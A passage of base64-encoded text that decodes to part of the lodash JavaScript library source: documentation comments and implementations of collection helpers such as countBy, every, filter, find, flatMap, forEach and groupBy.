m9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uY291bnRCeShbJ29uZScsICd0d28nLCAndGhyZWUnXSwgJ2xlbmd0aCcpO1xuICAgICAqIC8vID0+IHsgJzMnOiAyLCAnNSc6IDEgfVxuICAgICAqL1xuICAgIHZhciBjb3VudEJ5ID0gY3JlYXRlQWdncmVnYXRvcihmdW5jdGlvbihyZXN1bHQsIHZhbHVlLCBrZXkpIHtcbiAgICAgIGlmIChoYXNPd25Qcm9wZXJ0eS5jYWxsKHJlc3VsdCwga2V5KSkge1xuICAgICAgICArK3Jlc3VsdFtrZXldO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgYmFzZUFzc2lnblZhbHVlKHJlc3VsdCwga2V5LCAxKTtcbiAgICAgIH1cbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgcHJlZGljYXRlYCByZXR1cm5zIHRydXRoeSBmb3IgKiphbGwqKiBlbGVtZW50cyBvZiBgY29sbGVjdGlvbmAuXG4gICAgICogSXRlcmF0aW9uIGlzIHN0b3BwZWQgb25jZSBgcHJlZGljYXRlYCByZXR1cm5zIGZhbHNleS4gVGhlIHByZWRpY2F0ZSBpc1xuICAgICAqIGludm9rZWQgd2l0aCB0aHJlZSBhcmd1bWVudHM6ICh2YWx1ZSwgaW5kZXh8a2V5LCBjb2xsZWN0aW9uKS5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCByZXR1cm5zIGB0cnVlYCBmb3JcbiAgICAgKiBbZW1wdHkgY29sbGVjdGlvbnNdKGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL0VtcHR5X3NldCkgYmVjYXVzZVxuICAgICAqIFtldmVyeXRoaW5nIGlzIHRydWVdKGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhY3VvdXNfdHJ1dGgpIG9mXG4gICAgICogZWxlbWVudHMgb2YgZW1wdHkgY29sbGVjdGlvbnMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQ29sbGVjdGlvblxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYWxsIGVsZW1lbnRzIHBhc3MgdGhlIHByZWRpY2F0ZSBjaGVjayxcbiAgICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmV2ZXJ5KFt0cnVlLCAxLCBudWxsLCAneWVzJ10sIEJvb2xlYW4pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICdhZ2UnOiAzNiwgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICB7ICd1c2VyJzogJ2ZyZWQnLCAgICdhZ2UnOiA0MCwgJ2FjdGl2ZSc6IGZhbHNlIH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmV2ZXJ5KHVzZXJzLCB7ICd1c2VyJzogJ2Jhcm5leScsICdhY3RpdmUnOiBmYWxzZSB9KTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNQcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uZXZlcnkodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmV2ZXJ5KHVzZXJzLCAnYWN0aXZlJyk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBldmVyeShjb2xsZWN0aW9uLCBwcmVkaWNhdGUsIGd1YXJkKSB7XG4gICAgICB2YXIgZnVuYyA9IGlzQXJyYXkoY29sbGVjdGlvbikgPyBhcnJheUV2ZXJ5IDogYmFzZUV2ZXJ5O1xuICAgICAgaWYgKGd1YXJkICYmIGlzSXRlcmF0ZWVDYWxsKGNvbGxlY3Rpb24sIHByZWRpY2F0ZSwgZ3VhcmQpKSB7XG4gICAgICAgIHByZWRpY2F0ZSA9IHVuZGVmaW5lZDtcbiAgICAgIH1cbiAgICAgIHJldHVybiBmdW5jKGNvbGxlY3Rpb24sIGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMykpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEl0ZXJhdGVzIG92ZXIgZWxlbWVudHMgb2YgYGNvbGxlY3Rpb25gLCByZXR1cm5pbmcgYW4gYXJyYXkgb2YgYWxsIGVsZW1lbnRzXG4gICAgICogYHByZWRpY2F0ZWAgcmV0dXJucyB0cnV0aHkgZm9yLiBUaGUgcHJlZGljYXRlIGlzIGludm9rZWQgd2l0aCB0aHJlZVxuICAgICAqIGFyZ3VtZW50czogKHZhbHVlLCBpbmRleHxrZXksIGNvbGxlY3Rpb24pLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVubGlrZSBgXy5yZW1vdmVgLCB0aGlzIG1ldGhvZCByZXR1cm5zIGEgbmV3IGFycmF5LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW3ByZWRpY2F0ZT1fLmlkZW50aXR5XSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGZpbHRlcmVkIGFycmF5LlxuICAgICAqIEBzZWUgXy5yZWplY3RcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHVzZXJzID0gW1xuICAgICAqICAgeyAndXNlcic6ICdiYXJuZXknLCAnYWdlJzogMzYsICdhY3RpdmUnOiB0cnVlIH0sXG4gICAgICogICB7ICd1c2VyJzogJ2ZyZWQnLCAgICdhZ2UnOiA0MCwgJ2FjdGl2ZSc6IGZhbHNlIH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogXy5maWx0ZXIodXNlcnMsIGZ1bmN0aW9uKG8pIHsgcmV0dXJuICFvLmFjdGl2ZTsgfSk7XG4gICAgICogLy8gPT4gb2JqZWN0cyBmb3IgWydmcmVkJ11cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maWx0ZXIodXNlcnMsIHsgJ2FnZSc6IDM2LCAnYWN0aXZlJzogdHJ1ZSB9KTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2Jhcm5leSddXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc1Byb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maWx0ZXIodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2ZyZWQnXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maWx0ZXIodXNlcnMsICdhY3RpdmUnKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2Jhcm5leSddXG4gICAgICpcbiAgICAgKiAvLyBDb21iaW5pbmcgc2V2ZXJhbCBwcmVkaWNhdGVzIHVzaW5nIGBfLm92ZXJFdmVyeWAgb3IgYF8ub3ZlclNvbWVgLlxuICAgICAqIF8uZmlsdGVyKHVzZXJzLCBfLm92ZXJTb21lKFt7ICdhZ2UnOiAzNiB9LCBbJ2FnZScsIDQwXV0pKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2ZyZWQnLCAnYmFybmV5J11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBmaWx0ZXIoY29sbGVjdGlvbiwgcHJlZGljYXRlKSB7XG4gICAgICB2YXIgZnVuYyA9IGlzQXJyYXkoY29sbGVjdGlvbikgPyBhcnJheUZpbHRlciA6IGJhc2VGaWx0ZXI7XG4gICAgICByZXR1cm4gZnVuYyhjb2xsZWN0aW9uLCBnZXRJdGVyYXRlZShwcmVkaWNhdGUsIDMpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBJdGVyYXRlcyBvdmVyIGVsZW1lbnRzIG9mIGBjb2xsZWN0aW9uYCwgcmV0dXJuaW5nIHRoZSBmaXJzdCBlbGVtZW50XG4gICAgICogYHByZWRpY2F0ZWAgcmV0dXJucyB0cnV0aHkgZm9yLiBUaGUgcHJlZGljYXRlIGlzIGludm9rZWQgd2l0aCB0aHJlZVxuICAgICAqIGFyZ3VtZW50czogKHZhbHVlLCBpbmRleHxrZXksIGNvbGxlY3Rpb24pLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtwcmVkaWNhdGU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2Zyb21JbmRleD0wXSBUaGUgaW5kZXggdG8gc2VhcmNoIGZyb20uXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIG1hdGNoZWQgZWxlbWVudCwgZWxzZSBgdW5kZWZpbmVkYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHVzZXJzID0gW1xuICAgICAqICAgeyAndXNlcic6ICdiYXJuZXknLCAgJ2FnZSc6IDM2LCAnYWN0aXZlJzogdHJ1ZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAgJ2FnZSc6IDQwLCAnYWN0aXZlJzogZmFsc2UgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAncGViYmxlcycsICdhZ2UnOiAxLCAgJ2FjdGl2ZSc6IHRydWUgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLmZpbmQodXNlcnMsIGZ1bmN0aW9uKG8pIHsgcmV0dXJuIG8uYWdlIDwgNDA7IH0pO1xuICAgICAqIC8vID0+IG9iamVjdCBmb3IgJ2Jhcm5leSdcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kKHVzZXJzLCB7ICdhZ2UnOiAxLCAnYWN0aXZlJzogdHJ1ZSB9KTtcbiAgICAgKiAvLyA9PiBvYmplY3QgZm9yICdwZWJibGVzJ1xuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNQcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uZmluZCh1c2VycywgWydhY3RpdmUnLCBmYWxzZV0pO1xuICAgICAqIC8vID0+IG9iamVjdCBmb3IgJ2ZyZWQnXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmZpbmQodXNlcnMsICdhY3RpdmUnKTtcbiAgICAgKiAvLyA9PiBvYmplY3QgZm9yICdiYXJuZXknXG4gICAgICovXG4gICAgdmFyIGZpbmQgPSBjcmVhdGVGaW5kKGZpbmRJbmRleCk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmZpbmRgIGV4Y2VwdCB0aGF0IGl0IGl0ZXJhdGVzIG92ZXIgZWxlbWVudHMgb2ZcbiAgICAgKiBgY29sbGVjdGlvbmAgZnJvbSByaWdodCB0byBsZWZ0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDIuMC4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtwcmVkaWNhdGU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2Zyb21JbmRleD1jb2xsZWN0aW9uLmxlbmd0aC0xXSBUaGUgaW5kZXggdG8gc2VhcmNoIGZyb20uXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIG1hdGNoZWQgZWxlbWVudCwgZWxzZSBgdW5kZWZpbmVkYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5maW5kTGFzdChbMSwgMiwgMywgNF0sIGZ1bmN0aW9uKG4pIHtcbiAgICAgKiAgIHJldHVybiBuICUgMiA9PSAxO1xuICAgICAqIH0pO1xuICAgICAqIC8vID0+IDNcbiAgICAgKi9cbiAgICB2YXIgZmluZExhc3QgPSBjcmVhdGVGaW5kKGZpbmRMYXN0SW5kZXgpO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZsYXR0ZW5lZCBhcnJheSBvZiB2YWx1ZXMgYnkgcnVubmluZyBlYWNoIGVsZW1lbnQgaW4gYGNvbGxlY3Rpb25gXG4gICAgICogdGhydSBgaXRlcmF0ZWVgIGFuZCBmbGF0dGVuaW5nIHRoZSBtYXBwZWQgcmVzdWx0cy4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWRcbiAgICAgKiB3aXRoIHRocmVlIGFyZ3VtZW50czogKHZhbHVlLCBpbmRleHxrZXksIGNvbGxlY3Rpb24pLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZmxhdHRlbmVkIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBkdXBsaWNhdGUobikge1xuICAgICAqICAgcmV0dXJuIFtuLCBuXTtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBfLmZsYXRNYXAoWzEsIDJdLCBkdXBsaWNhdGUpO1xuICAgICAqIC8vID0+IFsxLCAxLCAyLCAyXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGZsYXRNYXAoY29sbGVjdGlvbiwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiBiYXNlRmxhdHRlbihtYXAoY29sbGVjdGlvbiwgaXRlcmF0ZWUpLCAxKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmZsYXRNYXBgIGV4Y2VwdCB0aGF0IGl0IHJlY3Vyc2l2ZWx5IGZsYXR0ZW5zIHRoZVxuICAgICAqIG1hcHBlZCByZXN1bHRzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuNy4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZmxhdHRlbmVkIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBkdXBsaWNhdGUobikge1xuICAgICAqICAgcmV0dXJuIFtbW24sIG5dXV07XG4gICAgICogfVxuICAgICAqXG4gICAgICogXy5mbGF0TWFwRGVlcChbMSwgMl0sIGR1cGxpY2F0ZSk7XG4gICAgICogLy8gPT4gWzEsIDEsIDIsIDJdXG4gICAgICovXG4gICAgZnVuY3Rpb24gZmxhdE1hcERlZXAoY29sbGVjdGlvbiwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiBiYXNlRmxhdHRlbihtYXAoY29sbGVjdGlvbiwgaXRlcmF0ZWUpLCBJTkZJTklUWSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5mbGF0TWFwYCBleGNlcHQgdGhhdCBpdCByZWN1cnNpdmVseSBmbGF0dGVucyB0aGVcbiAgICAgKiBtYXBwZWQgcmVzdWx0cyB1cCB0byBgZGVwdGhgIHRpbWVzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuNy4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtkZXB0aD0xXSBUaGUgbWF4aW11bSByZWN1cnNpb24gZGVwdGguXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZmxhdHRlbmVkIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBkdXBsaWNhdGUobikge1xuICAgICAqICAgcmV0dXJuIFtbW24sIG5dXV07XG4gICAgICogfVxuICAgICAqXG4gICAgICogXy5mbGF0TWFwRGVwdGgoWzEsIDJdLCBkdXBsaWNhdGUsIDIpO1xuICAgICAqIC8vID0+IFtbMSwgMV0sIFsyLCAyXV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBmbGF0TWFwRGVwdGgoY29sbGVjdGlvbiwgaXRlcmF0ZWUsIGRlcHRoKSB7XG4gICAgICBkZXB0aCA9IGRlcHRoID09PSB1bmRlZmluZWQgPyAxIDogdG9JbnRlZ2VyKGRlcHRoKTtcbiAgICAgIHJldHVybiBiYXNlRmxhdHRlbihtYXAoY29sbGVjdGlvbiwgaXRlcmF0ZWUpLCBkZXB0aCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogSXRlcmF0ZXMgb3ZlciBlbGVtZW50cyBvZiBgY29sbGVjdGlvbmAgYW5kIGludm9rZXMgYGl0ZXJhdGVlYCBmb3IgZWFjaCBlbGVtZW50LlxuICAgICAqIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggdGhyZWUgYXJndW1lbnRzOiAodmFsdWUsIGluZGV4fGtleSwgY29sbGVjdGlvbikuXG4gICAgICogSXRlcmF0ZWUgZnVuY3Rpb25zIG1heSBleGl0IGl0ZXJhdGlvbiBlYXJseSBieSBleHBsaWNpdGx5IHJldHVybmluZyBgZmFsc2VgLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIEFzIHdpdGggb3RoZXIgXCJDb2xsZWN0aW9uc1wiIG1ldGhvZHMsIG9iamVjdHMgd2l0aCBhIFwibGVuZ3RoXCJcbiAgICAgKiBwcm9wZXJ0eSBhcmUgaXRlcmF0ZWQgbGlrZSBhcnJheXMuIFRvIGF2b2lkIHRoaXMgYmVoYXZpb3IgdXNlIGBfLmZvckluYFxuICAgICAqIG9yIGBfLmZvck93bmAgZm9yIG9iamVjdCBpdGVyYXRpb24uXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAYWxpYXMgZWFjaFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheXxPYmplY3R9IFJldHVybnMgYGNvbGxlY3Rpb25gLlxuICAgICAqIEBzZWUgXy5mb3JFYWNoUmlnaHRcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5mb3JFYWNoKFsxLCAyXSwgZnVuY3Rpb24odmFsdWUpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKHZhbHVlKTtcbiAgICAgKiB9KTtcbiAgICAgKiAvLyA9PiBMb2dzIGAxYCB0aGVuIGAyYC5cbiAgICAgKlxuICAgICAqIF8uZm9yRWFjaCh7ICdhJzogMSwgJ2InOiAyIH0sIGZ1bmN0aW9uKHZhbHVlLCBrZXkpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKGtleSk7XG4gICAgICogfSk7XG4gICAgICogLy8gPT4gTG9ncyAnYScgdGhlbiAnYicgKGl0ZXJhdGlvbiBvcmRlciBpcyBub3QgZ3VhcmFudGVlZCkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZm9yRWFjaChjb2xsZWN0aW9uLCBpdGVyYXRlZSkge1xuICAgICAgdmFyIGZ1bmMgPSBpc0FycmF5KGNvbGxlY3Rpb24pID8gYXJyYXlFYWNoIDogYmFzZUVhY2g7XG4gICAgICByZXR1cm4gZnVuYyhjb2xsZWN0aW9uLCBnZXRJdGVyYXRlZShpdGVyYXRlZSwgMykpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uZm9yRWFjaGAgZXhjZXB0IHRoYXQgaXQgaXRlcmF0ZXMgb3ZlciBlbGVtZW50cyBvZlxuICAgICAqIGBjb2xsZWN0aW9uYCBmcm9tIHJpZ2h0IHRvIGxlZnQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMi4wLjBcbiAgICAgKiBAYWxpYXMgZWFjaFJpZ2h0XG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fE9iamVjdH0gUmV0dXJucyBgY29sbGVjdGlvbmAuXG4gICAgICogQHNlZSBfLmZvckVhY2hcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5mb3JFYWNoUmlnaHQoWzEsIDJdLCBmdW5jdGlvbih2YWx1ZSkge1xuICAgICAqICAgY29uc29sZS5sb2codmFsdWUpO1xuICAgICAqIH0pO1xuICAgICAqIC8vID0+IExvZ3MgYDJgIHRoZW4gYDFgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGZvckVhY2hSaWdodChjb2xsZWN0aW9uLCBpdGVyYXRlZSkge1xuICAgICAgdmFyIGZ1bmMgPSBpc0FycmF5KGNvbGxlY3Rpb24pID8gYXJyYXlFYWNoUmlnaHQgOiBiYXNlRWFjaFJpZ2h0O1xuICAgICAgcmV0dXJuIGZ1bmMoY29sbGVjdGlvbiwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDMpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIG9iamVjdCBjb21wb3NlZCBvZiBrZXlzIGdlbmVyYXRlZCBmcm9tIHRoZSByZXN1bHRzIG9mIHJ1bm5pbmdcbiAgICAgKiBlYWNoIGVsZW1lbnQgb2YgYGNvbGxlY3Rpb25gIHRocnUgYGl0ZXJhdGVlYC4gVGhlIG9yZGVyIG9mIGdyb3VwZWQgdmFsdWVzXG4gICAgICogaXMgZGV0ZXJtaW5lZCBieSB0aGUgb3JkZXIgdGhleSBvY2N1ciBpbiBgY29sbGVjdGlvbmAuIFRoZSBjb3JyZXNwb25kaW5nXG4gICAgICogdmFsdWUgb2YgZWFjaCBrZXkgaXMgYW4gYXJyYXkgb2YgZWxlbWVudHMgcmVzcG9uc2libGUgZm9yIGdlbmVyYXRpbmcgdGhlXG4gICAgICoga2V5LiBUaGUgaXRlcmF0ZWUgaXMgaW52b2tlZCB3aXRoIG9uZSBhcmd1bWVudDogKHZhbHVlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgaXRlcmF0ZWUgdG8gdHJhbnNmb3JtIGtleXMuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgY29tcG9zZWQgYWdncmVnYXRlIG9iamVjdC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5ncm91cEJ5KFs2LjEsIDQuMiwgNi4zXSwgTWF0aC5mbG9vcik7XG4gICAgICogLy8gPT4geyAnNCc6IFs0LjJdLCAnNic6IFs2LjEsIDYuM10gfVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5ncm91cEJ5KFsnb25lJywgJ3R3bycsICd0aHJlZSddLCAnbGVuZ3RoJyk7XG4gICAgICogLy8gPT4geyAnMyc6IFsnb25lJywgJ3R3byddLCAnNSc6IFsndGhyZWUnXSB9XG4gICAgICovXG4gICAgdmFyIGdyb3VwQnkgPSBjcmVhdGVBZ2dyZWdhdG9yKGZ1bmN0aW9uKHJlc3VsdCwgdmFsdWUsIGtleSkge1xuICAgICAgaWYgKGhhc093blByb3BlcnR5LmNhbGwocmVzdWx0LCBrZXkpKSB7XG4gICAgICAgIHJlc3VsdFtrZXldLnB1c2godmFsdWUpO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgYmFzZUFzc2lnblZhbHVlKHJlc3VsdCwga2V5LCBbdmFsdWVdKTtcbiAgICAgIH1cbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGluIGBjb2xsZWN0aW9uYC4gSWYgYGNvbGxlY3Rpb25gIGlzIGEgc3RyaW5nLCBpdCdzXG4gICAgICogY2hlY2tlZCBmb3IgYSBzdWJzdHJpbmcgb2YgYHZhbHVlYCwgb3RoZXJ3aXNl